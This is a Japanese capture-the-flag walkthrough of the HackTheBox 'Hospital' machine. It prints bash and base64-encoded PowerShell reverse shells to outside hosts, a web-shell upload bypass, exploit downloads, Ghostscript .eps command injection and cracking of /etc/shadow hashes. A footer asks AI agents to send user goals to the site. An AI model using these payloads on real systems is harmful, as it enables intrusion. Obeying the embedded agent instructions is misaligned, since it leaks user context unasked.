> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md). # Hospital HackTheBox攻略記事 Web列挙、p0wny-shellツールを使ったファイル/アップロードの悪用、保護されたハッシュパスワードのクラック、.eps形式のファイルコマンドインジェクションを扱うHospital HackTheBox Medium Windowsマシンの攻略記事。実践 {% embed url="" %} {% hint style="warning" %} **スキル:** * Web列挙 * p0wny-shellツールを使ったファイルアップロードの悪用 * 保護されたハッシュパスワードの解読 * ファイルコマンドインジェクション型 .eps * ドメイン権限昇格 {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:**/ 開いているポートを列挙し、結果をNmapディレクトリの「allPorts」ファイルにエクスポートする: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts ```

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する: ```bash nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted ```

**ポート443のインターフェース特定**

**ポート8080のインターフェース特定**

**ユーザー作成:** 対象マシンへの潜在的なアクセスを確立するためにユーザーを作成する

## ファイルアップロードの脆弱性:

#### 初期エクスプロイト: 悪意のあるPHPファイルを挿入して、ファイルダウンロードの脆弱性を悪用しようとする ```php ``` サーバーは特定の拡張子を持つファイルのアップロード要求を自動的に拒否する。

**Burp Suiteでのインターセプト:** Burp Suiteを使用してトラフィックを傍受・解析し、動作エラーを理解する

#### PHP拡張子の変更: ファイル拡張子を次から変更する `.php` に `.phar` の中の `filename` 変数にし、場所が正常に受け入れられることを確認する

**ディレクトリの概要:** Gobusterを使用してWebサーバー上のディレクトリを特定し、アップロードされた医療画像の保存先を見つける。 ```bash gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 ```

#### ファイルは解釈されない: a.pharファイルの内容は解釈されない。

**GitHubのツールを使ってシェルを作成:** GitHubのプロジェクトツールを使用してPHPファイルのダウンロード制限を回避し、シェルアクセスを取得する {% embed url="" %}

**リバースシェルの起動:** ```bash /usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1' ``` リバースシェルを実行して対象マシンへの対話的アクセスを確立し、完全な制御を得る。

#### Linuxサーバーにアクセスできたら、端末操作のために次のコマンドを実行する: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 権限昇格（Linuxサーバー）: **OSバージョンの特定:**/ 次の `cat /etc/os-release` コマンドを使用してシステムバージョンを確認し、古いUbuntu（"23.04"）が存在することに注意する。

#### **権限を削除するスクリプトをダウンロード:** 次の場所からスクリプトをダウンロードする [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)、これにより権限昇格が可能になる: ```bash wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh ```

#### **ハッシュ化されたパスワードを抽出:** 次からハッシュ化されたパスワードを抽出する `/etc/shadow` ファイルに存在するユーザーに対して試します。

**パスワード解析:** 既知のパスワードリストを使ってパスワードを解読するために John the Ripper ツールを使用する: ```bash john -w:/usr/share/wordlists/rockyou.txt hash.txt ```

## 脆弱性: .epsファイルインジェクション #### ポート443経由でアクセスできるWebサイトで認証情報を試す。

**制限付きメールボックスを発見:** .eps形式のデザインを受け取りたいメールボックスを見つける。

**.epsファイル経由のGhostscript操作:** 〜を使用する [GitHubのエクスプロイト](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) に基づく [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) を使って悪意のあるコードを実行するための `.eps` ファイル拡張子。

#### 使用する [RevShells](https://www.revshells.com/) PowerShellペイロードを作成するための:

#### .epsファイルへのペイロード注入: 次のコマンドを使用して、.epsファイルにリバースシェルのペイロードを注入する。 {% code fullWidth="true" %} ```bash python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps ``` {% endcode %}

#### rlwrapで待ち受け: rlwrapで待ち受けを設定し、受信接続を待機する。 ```bash rlwrap nc -nlvp 4444 ``` #### 悪意のあるEPSファイルを添付してメールを送信:

#### ghostscript.batファイルの発見: "drbrown"のパスワードを含むghostscript.batファイルの発見: `chr!$br0wn`

#### 最初のフラグ user.txt: 最初のフラグ user.txt の発見と取得。

## Active Directoryでの権限昇格: #### XAMPP Webサーバーへアクセスして権限昇格を行う。

#### PHPファイルの作成: "this is a test"というコードを含むPHPファイルを作成する。 ```bash echo "this is a test" > test.php ``` #### Webサーバーの確認: WebサーバーがPHPファイルを正しく挿入することを確認する。

#### 次からPHPファイルを再注入する [p0wny-shell](https://github.com/flozz/p0wny-shell) プロジェクト: {% embed url="" %}

python3 -m http.server 8080

wget http://10.10.16.2:8080/shell.php -o shell.php

#### 次をコピーする [リバースシェル](https://www.revshells.com/) ペイロードをpownyshellの端末に:

#### rlwrapで待ち受け: ```bash rlwrap nc -nlvp 4444 ``` ### root.txtフラグを取得:

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.